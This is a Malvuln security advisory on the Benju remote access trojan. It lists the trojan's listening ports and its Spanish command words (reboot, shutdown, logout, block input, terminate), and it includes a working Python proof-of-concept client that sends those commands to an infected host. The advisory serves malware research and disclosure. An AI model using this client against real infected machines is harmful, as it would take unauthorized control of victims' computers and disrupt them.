Backdoor.Win32.Benju.a MVID-2024-0700 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/88922242e8805bfbc5981e55fdfadd71.txtContact: [email protected]: x.com/malvuln Threat: Backdoor.Win32.Benju.aVulnerability: Unauthenticated Remote Command ExecutionFamily: BenjuType: PE32MD5: 88922242e8805bfbc5981e55fdfadd71SHA256: 7d34804173e09d0f378dfc8c9212fe77ff51f08c9d0b73d00a19b7045ddc1f0e Vuln ID: MVID-2024-0700Disclosure: 09/27/2024Description: The RAT listens on TCP ports 200 and 15000. Third-party adversaries who can reach an infected host, can execute commands made available by the malware. Commands are sent in Spanish, using netcat or telnet fails to run cmds after connecting as they send CRLFs e.g. "quitar\r\n" fails "quitar" succeeds. Therefore, we need a custom client to send commands to the Benju RAT.Reiniciado = rebootquitar = terminate backdoorcerrarsesion = shutdownEnciendemonitor = turn on monitorapagamonitor = monitor offOcultaiconos = hide iconsactivachat = open chat windowBloquearaton = block ratDesbloquearaton = unblock ratActivainicio = activate startcerrarsesion = logoutOcultaiconosConectadoOcultado los iconoscerrarsesionConectadoCerrado la sesion de windowsEnciendemonitorConectadoMonitor encendidoapagamonitorConectadoMonitor apagadoquitarConectadoPc desinfectadoExploit/PoC:from socket import *import time,sysCMD=["Reiniciado","Enciendemonitor","apagamonitor","Ocultaiconos","Activainicio",          "activachat","Bloquearaton","Desbloquearaton","cerrarsesion","quitar"]def chk_res(s):    res=""    while True:        res += s.recv(512).decode()        if res:            break    return resdef Benju_Over(MALWARE_HOST, PTR):        PORT=200    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    print(CMD[PTR])    s.send("".encode())    print(chk_res(s))    PAYLOAD= CMD[PTR]   #Don't send CRLFs    s.send(PAYLOAD.encode())    time.sleep(0.5)    print(chk_res(s))    s.close()    print("[*] Benju (over) Rat PoC by malvuln")if __name__=="__main__":    c=-1    if len(sys.argv) < 3:        print("[+] Benju (over) Rat PoC by malvuln")        print("[+] Greetz Edu_Braun_0day, Indoushka, Todd J")        print("[!] Usage: Infected IP, Command")        print("[-]=============================")        for x in CMD:            c+=1            print("[+] "+str(c) + " "+ x)            exit()    try:        MALWARE_HOST=sys.argv[1]        PTR=int(sys.argv[2])        if MALWARE_HOST and PTR:            Benju_Over(MALWARE_HOST, PTR)    except Exception as e:        print("[!] "+str(e))        exit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).